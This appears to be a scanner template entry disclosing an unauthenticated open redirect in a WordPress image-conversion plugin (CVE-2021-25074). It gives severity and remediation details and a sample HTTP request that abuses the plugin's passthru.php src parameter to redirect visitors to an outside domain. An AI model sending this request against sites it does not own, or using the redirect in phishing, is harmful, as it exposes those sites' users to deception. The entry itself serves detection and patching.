| Title | WordPress WebP Converter for Media < 4.0.3 - Unauthenticated Open Redirect |
|---|---|
| Author | dhiyaneshDk |
| Severity | Medium |
| Impact | An attacker can trick users into visiting a malicious website, leading to potential phishing attacks or the disclosure of sensitive information. |
| Remediation | Update to the latest version of the WordPress WebP Converter for Media plugin (4.0.3) or remove the plugin if not needed. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01001 |
| CVE ID | CVE-2021-25074 |
| CWE ID | CWE-601 |
| Tags | cve2021 cve redirect wp-plugin webpconverter wpscan wordpress webp_converter_for_media_project vuln |
WordPress WebP Converter for Media < 4.0.3 contains a file (passthru.php) which does not validate the src parameter before redirecting the user to it, leading to an open redirect issue.
GET /wp-content/plugins/webp-converter-for-media/includes/passthru.php?src=https://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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